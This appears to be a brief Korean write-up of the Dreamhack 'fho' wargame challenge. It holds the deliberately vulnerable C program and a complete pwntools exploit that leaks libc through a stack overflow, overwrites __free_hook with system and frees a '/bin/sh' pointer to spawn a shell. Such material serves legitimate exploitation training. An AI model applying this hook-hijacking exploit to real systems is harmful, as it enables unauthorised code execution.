https://velog.io/@mm0ck3r/Dreamhack-hook
이 문제와 비슷하게 풀면 되겠다. 근데 모든 보호기법이 다 걸려있네 ?
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
from pwn import *
#p = remote('host1.dreamhack.games', 19093)
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
__libc_start_main_offset = 0x000000000021b10
system_offset = 0x000000000004f550
__free_hook_offset = 0x00000000003ed8e8
binsh_offset = 0x1b3e1a
payload = 'A' * 0x48
p.recvuntil('Buf: ')
p.send(payload)
p.recvuntil(payload)
__libc_start_main = u64(p.recvn(6) + "\x00\x00") - 231
libc_base = __libc_start_main - __libc_start_main_offset
#--------------------------------------------------------
__free_hook = libc_base + __free_hook_offset
payload = str(__free_hook)
p.recvuntil("To write: ")
p.sendline(payload)
system = libc_base + system_offset
payload = str(system)
#p.interactive()
p.recvuntil("With: ")
p.sendline(payload)
#--------------------------------------------------------
binsh = libc_base + binsh_offset
payload = str(binsh)
p.recvuntil("To free: ")
p.send(payload)
p.interactive()